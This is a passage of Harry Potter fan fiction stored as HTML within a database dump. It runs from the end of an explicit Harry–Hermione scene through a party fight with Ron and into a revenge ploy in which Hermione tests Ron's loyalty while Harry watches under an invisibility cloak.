he would bruise her lips, but she didn&#8217;t seem to care\nbecause she was kissing him back just as hard, just as strong.&nbsp; Her fingers clutched his shoulders, and she\npulled him against her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry felt her\nbreasts tight against his chest making him gasp loudly. She seemed to be\ncontrolling his movements, his emotions for once.&nbsp; The hungered need to feel her, to touch her.\nTo fill her.&nbsp; He heard her voice loudly\nas it echoed in the bathroom, much too loud for being in someone else&#8217;s house,\nsomeone would surely hear.&nbsp; His mouth\ncovered hers completely as her cries were muffled.&nbsp; He continued his almost violent thrusting\ninto her.&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">At the almost\nexact same time, the two of them gave off loud cries of release into each\nother&#8217;s mouth, which was a good thing that it was muffled for the sound\ndefinitely would have brought attention to the bathroom.&nbsp; Harry had finally collapsed against her, both\nbreathing hard.&nbsp; She smiled through her\neuphoria; the heavens had welcomed her for just a moment.&nbsp; She saw Harry looking at her.&nbsp; Searching her eyes, her soul, her heart. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He lowered his\nmouth to hers, kissing her slowly. His body still tingling it was a glorious\nfeeling, being with her.&nbsp; He had never\nfelt more complete.&nbsp; Even if it was fast\nand quick or slow and sensuous.&nbsp; No\nmatter what he would always cherish the feel of her.&nbsp; He pulled his mouth from hers and lifted a\nhand caressing her cheek, her nose. Tracing her lips with his finger. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Harry.&#8221; She said\nbreaking the glorious silence.&nbsp; &#8220;We have\nto get out of here now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I know.&#8221; Harry\nsighed.&nbsp; He rolled off of her and grabbed\nfor his clothing.&nbsp; Hermione grabbed for\nhers too and they dressed.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry opened the\ndoor carefully, he looked out.&nbsp; Luckily\nno one was standing there.&nbsp; &#8220;Coast is\nclear.&#8221; Harry said back to Hermione and he took her hand and they made their\nway from the bathroom and headed down the hall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron came from\naround the corner, he crossed his arms over his chest.&nbsp; So it was them in there. He was so mad, so\nangry.&nbsp; He followed them down back to the\nparty.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione went off\nby herself go to and talk to Mrs. Weasley which just left Harry alone, he sat\ndown in a chair and ran his hands through his hair.&nbsp; Ron came up do him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hello Harry.&#8221;\nRon said through clinched teeth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hey Ron.&#8221; Harry\nsaid, he looked up at him.&nbsp; His eyes\nnarrowed in suspicion he had to know what Ron was doing when he grabbed\nHermione.&nbsp; He swore he saw Ron look right\nat him and do that.&nbsp; &#8220;Ron I couldn&#8217;t help\nbut notice when you were dancing with Hermione that you, oh I don&#8217;t know.\nGrabbed her ass!!&#8221; He stood enraged.&nbsp;\n&#8220;Now Hermione thinks it was just an accident, but what I saw you do. It\nwas no accident.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron&#8217;s fists\nclinched, &#8220;That&#8217;s right it wasn&#8217;t an accident, I did grab her ass.&#8221; He smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry wanted to\nhurt him, but he restrained himself.&nbsp;\n&#8220;Why did you do that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Because I wanted\ntoo.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;You crossed over\nthe line with her Ron, she&#8217;s is not a toy.&nbsp;\nShe is a human being with feelings.&#8221; Harry pointed out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;As if you\nhaven&#8217;t been taking advantage of her yourself, you think you can preach to\nme?&#8221;&nbsp; Ron glared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I&#8217;m not taking\nadvantage of her.&#8221; Harry glared back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Right, you&#8217;re\njust fucking her.&#8221; Ron was rude.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry&#8217;s fists\nclinched at his sides.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I know Harry,\nyou and Hermione have been at it like rabbits. I am not blind.&nbsp; Sure I wanted her ass too, but you beat me to\nit.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Ron this isn&#8217;t\ncontest, it&#8217;s not a game.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh yeah, what&#8217;s\nthe difference if I go after her or you.&#8221; Ron looked down at Harry, fire was blazing\nin his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Cause I love\nher!&#8221; Harry shouted.&nbsp; A few guests\nstopped talking and stood watching the scene.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;You love her?\nThat&#8217;s&#8212;&#8221; Ron was boiling over.&nbsp; &#8220;You\nalways get everything I want, but not this time.&nbsp; You couldn&#8217;t possibly love her. I want her,\nshe will be mine I can promise you that Harry Potter, I will prove to you that\nyou won&#8217;t have everything.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Ron, stay away\nfrom her.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh is Harry\njealous that he&#8217;s not man enough to compete with me?&#8221; Ron spoke to him as if he\nwere a child.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;It was never a\ncompetition Ron, never.&nbsp; This isn&#8217;t about\nus. It&#8217;s about her.&nbsp; Hermione made her\nown choice I didn&#8217;t make her choose.&#8221; Harry said, as he calmed down a bit.&nbsp; Ron was still his friend.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well it looks\nlike I&#8217;ll have to do something about that, she will see you beating me up and\nthen she&#8217;ll call you an asshole and leave you.&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Huh?&#8221; Harry was\nconfused.&nbsp;&nbsp; Ron&#8217;s fist shot forward but\nHarry who had great reflexes moved out of the way.&nbsp; &#8220;Ron what are you doing?&#8221;&nbsp; Ron struck again, but Harry dodged it.&nbsp; He didn&#8217;t want to fight Ron, that was\nstupid.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Come on fight\nlike a man.&#8221; Ron shouted, he threw a few punches Harry dodging every single\none.&nbsp; &#8220;What&#8217;s the matter with you, you\nwimp?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Me? What&#8217;s the\nmatter with you?&#8221; Harry shook his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron was tired of\ntrying to hit Harry, nothing was working.&nbsp;\nHe decided to charge him, Through frustration Ron let out a mighty roar\nand charged after Harry.&nbsp; He ran at full\nspeed, but Harry moved out of the way and Ron smashed his head against the wall\nand fell back unconscious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione came\nrunning up and passed through the crowd.&nbsp;\n&#8220;Oh my god, what happened?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Ron here well\nknocked himself out.&#8221; Harry said as he looked down at his unconscious\nfriend.&nbsp; He then turned to Hermione,\n&#8220;Hermione, he knows. About you and I.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione gasped.\n&#8220;Oh my.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;He tried to kick\nmy ass.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Mr. Weasley\npassed through the crowd, &#8220;Well Ron.&#8221; He said looking down at his unconscious\nson. &#8220;He always overreacts.&nbsp; I would wake\nhim, but it&#8217;s probably better if he&#8217;s out.&#8221;&nbsp;\nHe looked at Harry.&nbsp; &#8220;Don&#8217;t let\nRon get to you, he&#8217;ll get over it.&#8221; Mr. Weasley winked</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred and George\nwho was part of the crowd turned to each other.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Fred, this prank\nhas gone of far enough. It&#8217;s time to end it.&#8221; George said seriously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred sighed, &#8220;I\nsuppose you&#8217;re right, but hey it was fun while it lasted right?&#8221; Fred smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yeah it was\ngreat.&#8221; George sniggered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The twins started\nlaughing, as they remembered the whole thing.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;But one last big\n&#8211;POW to end it.&#8221; Fred said with an all knowing smirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh please enlighten\nme dear brother?&#8221; George asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred and George\nwent off talking amongst themselves.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The Weasleys,\nHarry and Hermione stepped out of the fireplace into the living room. Mr.\nWeasley brought Ron up to his room and tucked him into bed, he would have quite\na headache in the morning.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione shook\nher head as she walked up the stairs with Harry next to her, &#8220;I can&#8217;t believe\nhe would try to have you beat him up, that sounds so absurd.&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I don&#8217;t know\nwhat he was thinking, he&#8217;s really lost it.&#8221; Harry answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well he probably\njust needs a good night&#8217;s rest, everything will look better in the morning, it\nalways does.&#8221; She smiled and headed towards the door to Ginny&#8217;s room.&nbsp; She saw something lying on the floor next to\nher door. It was a piece of parchment.&nbsp;\n&#8220;Hey what&#8217;s this?&#8221;&nbsp; Hermione\npicked it up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I don&#8217;t know.&#8221;\nHarry said looking at the folded piece of parchment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione unfolded\nit the parchment and gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">=====</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Well that&#8217;s it\nfor chapter 9 stay tuned for Chapter 10&#8212;Discoveries.&nbsp; Read and review, thanks Ryoko.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(14, 10, '\n\n\n\n\n\n\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">Disclaimer:\nAll original Harry Potter characters belong to J.K. Rowlings,\nnot me. *sigh* Oh well</p>\n\n<p class="MsoBodyTextIndent">A/N: *sniffle, sniffle* yes, yes it is the end of\nOHS; this is the final and last chapter of this fic.&nbsp; It is hard to say goodbye to such a wonderful\nstory.&nbsp; Well I&#8217;ll leave you to read now,\n*sniffle* does anyone have a tissue?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in;background:white" align="center">One Hot Summer</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in;background:white" align="center">Chapter 10&#8212;Discoveries; An Act For\nRevenge </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What\nis it?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione\nstared blankly, fire erupting in her eyes. &#8220;Why that big oaf&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry\nwanted to see what was making her so upset so he attempted to take the\nparchment from her hand; he had ripped the corner trying to remove the\nparchment for she was holding it tightly.&nbsp;\nHe scanned it over, at the top of the parchment it said Ron&#8217;s Plan, and\nthere was a list of things to do.&nbsp; Harry\nlifted his eyes looking at Hermione who was shaking with anger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I\ncan&#8217;t believe he would pull something like this?&nbsp; How juvenile, how, how RUDE!!!&#8221; She\nyelled.&nbsp; &#8220;Well this explains his very odd\nbehavior this summer doesn&#8217;t it?&#8221; Her voice trimmed with annoyance.&nbsp; Right now she wanted to kill Ron</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry\nshook his head, glancing back at the paper.&nbsp;\n&#8220;He&#8217;s out of his mind, as if this sort of thing would even work.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione\ntook the paper back from Harry, and continued to look at the list, &#8220;And what\nmakes him think I would even have these same feelings, for him to even make a\nridiculous list like this?&nbsp; Have I given\nhim any inclination that I even wanted to date him, that I even had feelings\nmore than friendship towards him?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No.&#8221;\nHarry answered plainly, he thought a moment. &#8220;You know Ron said something to me\nearlier tonight, he said that I always get everything he wants, and he will\nprove that I won&#8217;t have everything.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione\nrolled his eyes, &#8220;So he doesn&#8217;t even care about me like that? &nbsp;He just tries to get me because he thinks you\nget everything?&#8221; Hermione crossed her arms in bitter anger.&nbsp; &#8220;Some friend he turned out to be.&#8221; She glared\nat the floor hatefully, an idea popped into her head and she turned to Harry\nwith a smirk on her face. &#8220;I have an idea to get back at him, he wants me does\nhe?&nbsp; Then fine.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hermione?&#8221;\nHarry was confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Here\nI&#8217;ll explain.&#8221;&nbsp; Hermione said moving\ncloser to Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in;background:white" align="center">*******</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron\nwoke from his night of restful slumber&nbsp;for the first time that whole\nsummer, rubbing his head.&nbsp; There was a large bump and boy did it\nhurt.&nbsp; He sat up from his bed looking\naround his room noticing that Harry wasn&#8217;t in bed, his eyes narrowed in\njealousy as he thought about where Harry would be.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry\nwas actually sitting on his bed under his invisibility cloak, Hermione had some\nkind of idea and he agreed that it would be the best source of punishment for\ntheir dear, dear friend.&nbsp; And it would\nprove in an instant if Ron were to remain their friend, or turn into an enemy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Standing\nand stretching, Ron gave a giant yawn and proceeded to strip down from the\nclothes he was wearing last night, clad only in his underwear he heard a knock\nat the door and Hermione&#8217;s voice from the other side.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;&#8220;Ron, it&#8217;s me can I come in?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Uh\nsure, just hold on a sec.&#8221; He quickly scrambled into a pair of shorts as the\ndoor opened and Hermione stepped.&nbsp; He\nnoticed something about her was different this morning, apart from her only\nwearing a black Chinese silk robe.&nbsp; She\njust seemed different to him for some reason.&nbsp;\n&#8220;If you&#8217;re looking for Harry he&#8217;s not in here.&#8221;&nbsp; Ron said trying not to sound bitter, and he\nrealized that his voice wasn&#8217;t as angry sounding as it should have been.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione\nclosed the door behind her and turned around facing him, &#8220;I wasn&#8217;t looking for\nHarry.&#8221; She looked up at him, &#8220;I wanted to see you.&#8221; Hermione stepped right up\nto him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Me?&#8221;\nRon glanced around the room nervously, and then looked her in the eye.&nbsp; He noticed a different kind of light in her eyes;\nsimilar to that of which when he caught Hermione and Harry talking yesterday\nbefore the party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">She\nreached up and tapped him on the nose. &#8220;Yes you, silly.&#8221; She smiled slyly,\nflirty.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron\nbacked up a little she was making him very uncomfortable. &#8220;Why would you want\nto see me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well\nwhy not?&#8221; She asked innocently</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He\nwas confused.&nbsp; &#8220;Hermione, what&#8217;s going\non?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Do\nI have to be any more obvious?&#8221; Hermione sighed. &#8220;I suppose I have to be, so\nI&#8217;ll be blunt. I want you Ron, I want you like crazy.&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;Ron&#8217;s jaw dropped, this was it. She wanted\nhim. He was about to go through the roof.&nbsp;\nSomething was holding him back; he couldn&#8217;t even take a step\nforward.&nbsp; All he could do was take a step\nback when she came towards him.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Harry loves her, he obviously thinks she\nloves him.&#8217;</i> His mind said.&nbsp; Ron\nlooked at Hermione, &#8220;But what about Harry?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What\nabout him?&#8221; She stepped closer to Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well\nfor one he cares about you.&#8221; Ron stepped back, but this time ran into the\nwall.&nbsp; He was trapped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;So\ndo you.&#8221; Hermione took a step towards him.&nbsp;\n&#8220;And who cares about Harry, it&#8217;s you that I want.&#8221;&nbsp; She saw Ron&#8217;s eyes widen as she rested her\nhands on his shoulders, &#8220;What&#8217;s the matter, don&#8217;t you want me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron\npushed her hands away. &#8220;No.&#8221; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione\nsmirked, &#8220;I don&#8217;t believe you.&#8221; She stepped right up to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He\ncould feel the heat from her body close to his and he took in a gulp of air,\n&#8220;Herm&#8212;&#8221; His voice was oddly high pitched, &#8220;Hermione you&#8230;you can&#8217;t do this, I\nmean Harry, he more than cares for you.&nbsp;\nHe&#8217;s in love with you.&#8221; Ron said hoping he sounded confident.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I&#8217;m\nconfused Ron, what does Harry loving me have to do with you or I?&#8221; Hermione did\nnot move away from him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;This\nisn&#8217;t right Hermione.&#8221; Ron shook his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Why\nnot?&#8221; She pressed herself against him this time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron&#8217;s\nbrain started to shut down, but he took in a deep breath.&nbsp; &#8220;Because Harry loves you and you love\nhim.&nbsp; You two have something special,\ndon&#8217;t throw it away.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well\nwhy can&#8217;t I have both of you?&#8221; She said her mouth next to his ear.&nbsp; &#8220;I know that he loves me and he thinks we are\nin a relationship, but I&#8217;m afraid that his idea of the relationship is one\nsided, I am only using him.&#8221; Hermione glanced up at Ron with a smile across her\nface.&nbsp; &#8220;And since he&#8217;s not in here, why don&#8217;t\nwe&#8212;&#8221; She was interrupted by Ron. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He\npushed her back from him, looking at her in astonishment.&nbsp; &#8220;What is the matter with you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What\ndo you mean?&#8221; Hermione asked sweetly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron\nwas growing angry, &#8220;I won&#8217;t be a part of this Hermione.&nbsp; Harry loves you and I will not let you hurt\nhim like this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;But\nwhat about you? What about your needs?&nbsp;\nDoesn&#8217;t he get everything; don&#8217;t you want to be the one to have\nsomething that he will never have?&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No\nthis is not what I want, not like this.&#8221; Ron glared down at her, &#8220;Harry needs\nto know that you are not the girl he thinks you are, in fact I&#8217;m going to tell\nhim.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh\nwho is he going to believe, you or me?&#8221; She laughed. &#8220;It&#8217;s your word against\nmine.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I\nwouldn&#8217;t necessarily say that.&#8221; Harry&#8217;s voice was heard as he came into view\ntaking off the invisibility cloak.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione&#8217;s\njaw dropped, &#8220;What were you doing there?&#8221; She pointed to him with disgust.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I\nhad some suspicions about you and Ron, Hermione.&nbsp; So I decided to investigate a little.&#8221; Harry\nsaid crossing his arms over his chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;You\nwere spying on me?&#8221; Her hands planted firmly on her hips, she was so angry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes\nand it&#8217;s a good thing I did, how wonderful it is to find that my two best\nfriends were betraying me behind my back.&#8221; Harry glared at both Ron and\nHermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;That\nis not true.&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh\ncome off it Ron, I know the truth.&#8221; Harry looked at Hermione, &#8220;I knew it was no\naccident that you let Ron grab your ass last night.&#8221; He saw her close her eyes\nand look away, as if she were better than anyone else.&nbsp; Harry pointed at Ron, &#8220;Oh and don&#8217;t even get\nme started on you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Harry\nI wouldn&#8217;t do this to you, I don&#8217;t know about her.&#8221; Ron waved his hand bitterly\nin Hermione&#8217;s direction.</p>\n\n<p 